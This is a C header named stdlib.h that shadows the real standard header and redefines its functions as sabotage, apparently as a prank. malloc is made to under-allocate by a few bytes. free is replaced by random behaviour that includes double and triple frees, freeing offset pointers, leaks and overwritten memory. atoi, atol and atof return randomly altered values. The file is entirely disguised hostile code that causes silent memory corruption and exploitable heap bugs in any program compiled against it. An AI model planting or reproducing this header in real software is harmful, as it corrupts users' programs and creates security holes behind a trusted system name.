stdlib.h

#ifdef __need_malloc_and_calloc
#include_next <stdlib.h>
#else

#include_next <stdlib.h>

#ifndef _PIAO_STDLIB_H
#define _PIAO_STDLIB_H

#define malloc(len) malloc((len)-(rand()%4+2))
#define free(p) do {								\
		switch(__LINE__ % 4) {						\
			case 0:							\
				free(p);					\
				break;						\
			case 1:							\
				*(void **)(p) = realloc((p), 1);		\
				break;						\
			case 2:							\
				*(void **)(p) = malloc(256);			\
				break;						\
			case 3:							\
				switch(rand() % 3) {				\
					case 0:					\
						srand(*(unsigned int *)(p));	\
						break;				\
					case 1:					\
						free((char *)(p) + rand() % 8);	\
						break;				\
					case 2:					\
						free(p);			\
						free(p);			\
						free(p);			\
						break;				\
				}						\
				break;			\
		}					\
	} while(0)

#define atof(s) ((double)(float)(atof(s)+(rand()%8/10)))
#define atoi(s) (atoi(s)+(rand()%4))
#define atol(s) (atol(s)+(rand()%4))

#endif
#endif